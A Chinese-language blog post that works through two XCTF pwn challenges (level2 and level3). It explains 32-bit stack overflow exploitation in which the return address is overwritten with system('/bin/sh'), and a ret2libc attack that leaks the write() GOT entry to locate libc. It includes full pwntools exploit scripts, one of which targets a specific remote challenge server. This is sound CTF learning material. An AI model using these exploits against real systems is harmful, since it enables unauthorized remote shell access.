栈溢出之构造函数覆盖返回地址

栈溢出利用已知函数覆盖返回地址

题目:攻防世界 level2
查看文件的保护,发现没有栈哨,可以考虑覆盖返回地址。
在这里插入图片描述

利用IDA进行静态分析,找到vulnerable_function()函数

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

read函数读入了0x100的大小到缓冲区,但是缓冲区只有0x88的大小。这里存在缓冲区溢出。

在函数窗口找到_system函数的地址为0x08048320。(注意找到是.plt段)。也可以通过pwntools来找system的函数地址

from pwn import *
elf = ELF('level2')
hex(elf.symbols['system'])

然后通过IDA的字符串视图可以找到“/bin/sh”的地址(Shift+F12):0x0804A024

利用代码

#!/usr/bin/python 2.7
#-*-coding=utf-8-*-
from pwn import *
context.log_level='debug'

r = remote('',)
r.recvuntil('echo Input:')
return_addr = 0x08048320 # system函数的地址
bash_addr = 0x0804A024 #/bin/sh的地址

## 0x80填充缓冲区, 0x4填充BP, 接着是覆盖返回地址为system的地址,然后是system函数的返回地址(这里可以是任意的32bit的数据,最后是sysetm的参数地址)
payload = 0x80 * 'a' + 0x4 * 'a' + p32(return_addr)+p32(0)+p32(bash_addr)

r.sendline(payload)
r.interactive()

在这里插入图片描述

栈溢出之利用Libc地址泄露构造函数

题目:攻防世界 level3
查看文件的保护,发现没有栈哨Canary,RELRO为partial,开启了部分地址随机化。也就是程序每次运行时加载的库函数的地址时随机的。

在这里插入图片描述
这里没有发现system函数和字符串"/bin/sh",但是题目提供了一个动态链接库libc_32.so.6。只能通过这个库来入手。

因为程序开启了地址随机化,每次运行库函数的地址时不固定的,但是函数或者字符串的相对位置是固定的。利用这一点,我们首先通过栈溢出覆盖返回地址,控制程序执行流程,使其调用库函数中的write函数从而泄露出write函数的地址,并重新返回到main函数,让程序继续执行。这样一次溢出就可以得到write函数在程序运行时的地址。然后根据库函数相对位置固定,就可以计算出system函数和/bin/sh在程序运行时的地址。再次利用栈溢出覆盖返回地址为system函数的地址,并且传递参数/bin/sh。拿到服务器的shell。

  1. 首先我们需要找到system函数和字符串/bin/sh被程序加载后的地址。通过libc_32.so.6库可以找到write函数和system函数的地址(write@@GLIBC_2.0和system@@GLIBC_2.0)。
readelf -s libc_32.so.6 | grep system
readelf -s libc_32.so.6 | grep write
  1. 对于字符串/bin/sh,可以通过如下命令来得到地址,然后通过与库中的write函数地址比较得到相对地址。当然我们可以通过pwntools来得到库函数的地址。
strings -at x libc_32.so.6 | grep /bin/sh
  1. 利用脚本
#! /usr/bin/python2.7
#-*-coding=utf-8-*-
from pwn import *
context.log_level='debug'

r = remote('220.249.52.133',35373)
r.recvuntil('\n')

elf = ELF('level3')
#plt表是用来调用got表中的函数
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']

#0x88覆盖缓冲区,0x4覆盖bp,接着用write_plt覆盖返回地址,使得其调用write函数,接着是write执行完毕后
#返回到main函数,是程序能够继续执行,为第二次溢出做准备.后面三个是write函数的参数。第一个参数代表输出
#第二个参数代表输出的内容,第三个参数代表输出的长度
payload = 'a'*0x88 + 'b'*0x4 + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10)
r.sendline(payload)
base_addr = u32(r.recv()[:4]) #u32是p32的逆运算,[:4]代表取4个字节

libc = ELF('libc_32.so.6')
system_addr = base_addr + (libc.sym['system'] - libc.sym['write'] )

shell_addr = base_addr + 0x84c6b # 找出/bin/sh的地址 - libc.sym['write'] 结果为 0x84c6b

payload = 'a'*0x88 + 'b'*0x4 + p32(system_addr)+p32(0)+p32(shell_addr)
r.recvuntil('\n')
r.sendline(payload)
r.interactive()

在这里插入图片描述

关于plt和got的知识,参考文章:got表和plt表

©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页